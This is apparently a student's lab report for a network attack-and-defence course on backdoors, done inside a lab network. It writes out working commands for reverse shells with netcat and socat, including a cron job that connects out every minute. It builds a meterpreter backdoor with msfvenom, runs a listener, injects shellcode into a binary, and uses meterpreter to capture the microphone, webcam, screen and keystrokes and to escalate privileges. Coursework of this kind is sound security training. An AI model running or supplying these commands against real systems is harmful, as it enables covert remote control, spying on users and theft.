20192410 2021-2022-2 《网络与系统攻防技术》实验二 后门原理与实践 实验报告
20192410 2021-2022-2 《网络与系统攻防技术》实验二 后门原理与实践 实验报告
1.实验内容
- 使用netcat和cocat实现win和Linux的后门连接
- 使用meterpreter实现
- 生成可执行文件传送到主机
- 获取目标主机音频、摄像头、击键记录,提权
- 生成shellcode注入,获取反弹连接
2.实验过程
2.1使用netcat获取主机操作Shell,cron启动某项任务
(1)获取Win的IP
ipconfig
(2)Windows打开监听(在ncat的目录下执行命令)
ncat.exe -l -p 8888
(3)在kali中打开cron
- 输入 crontab -e 选择编辑器,在最后一行添加 * * * * * /bin/netcat 192.168.0.102 8888 -e /bin/sh,即每分钟都执行一次该指令
- 保存、退出后配置即生效。可以通过"crontab -l"来查看
- 此时win就获得了kali的shell
2.2使用socat获取主机操作Shell, 任务计划启动
(1)打开win的计算机管理中的任务计划程序并创建任务
- 填写任务名
- 新建触发器
- 在操作界面,在程序或脚本中选择socat.exe的路径,添加参数一栏中填写"tcp-listen:5110 exec:cmd.exe,pty,stderr",该命令会将cmd绑定到5110端口,并把cmd.exe的stderr重定向到stdout上
(2)创建好后,在预定时间会弹出一个cmd窗口,不关闭该窗口,在kali中输入"socat - tcp:192.168.0.102:5110",就可以获得win的shell
2.3使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
(1)生成可执行文件
在kali上执行
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.197.129 LPORT=5110 -f exe > meter_backdoor.exe
此时在对应目录下会生成后门程序“meter_backdoor.exe”
图片
(2)让win接收文件
- 在win下执行"ncat.exe -l 5110 > meter_backdoor.exe"
- 在kali中执行"nc 192.168.0.129 5110 < meter_backdoor.exe",然后在win对应目录下会接收到文件
(3)MSF打开监听进程
-
进入msf控制台
msfconsole
-
使用监听模块
use exploit/multi/handler
-
设置payload、IP、端口(这里的IP和端口要与生成后门文件时的一样)
set payload windows/meterpreter/reverse_tcp set LHOST 192.168.197.129 set LPORT 5110
-
执行监听
exploit
-
运行win上的后门程序,kali就可获得shell
2.4使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
-
获取音频
record_mic
-
获取摄像头
webcam_snap
-
截屏
screenshot
-
击键记录
keyscan_start 记录击键过程, keyscan_dump 读取击键记录
-
提权
getuid 查看当前用户 getsystem 提权操作
2.5使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
(1)生成shellcode并注入
sfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.197.129 LPORT=4444 -x /home/lxf/exp2/pwn20192410 -f elf > pwn
(2)在另一个终端中运行生成的pwn文件,即可获得连接
3.问题及解决方案
- 问题1:在Linux中编辑好crontab后Windows并没有获得Linux的shell
- 问题1解决方案:编辑crontab时IP地址应该为Windows的IP地址,即主控机的IP地址,因为是需要Linux去反弹连接Windows。
- 问题2:使用msf监听失败
- 问题2解决方案:生成文件时的LHOST和LPORT与之后设置的不一样。
- 问题3:2.5中运行生成好的文件时没有成功。
- 问题3解决方案:发现是权限不够,于是通过指令 chmod u+x* 提权即可
4.回答问题
(1)例举你能想到的一个后门进入到你系统中的可能方式?
后门与正常程序捆绑,安装程序时捆绑安装
(2)例举你知道的后门如何启动起来(win及linux)的方式?
将建立链接的可执行文件伪装成其他正常的东西诱导用户打开
或者将与其他文件进行捆绑启动
使用cron定时启动任务进行后门连接
(3)Meterpreter有哪些给你映像深刻的功能?
利用msf可以非常方便地生成许多具备不同功能的payload
(4)如何发现自己有系统有没有被安装后门?
杀毒软件就可以进行检查,比如本实验就是在关闭杀毒软件的前提下进行的。
检查本机的启动项
5.学习感悟、思考等
本次实验使我对于后门的一些基本理论以及netcat、socat和msf的使用有了一定的了解。让我感受到后门无处不在、威胁巨大的同时,也让我不禁感叹能够做出躲避重重安全检查的后门程序该有多难,希望通过今后的学习能够有所精进。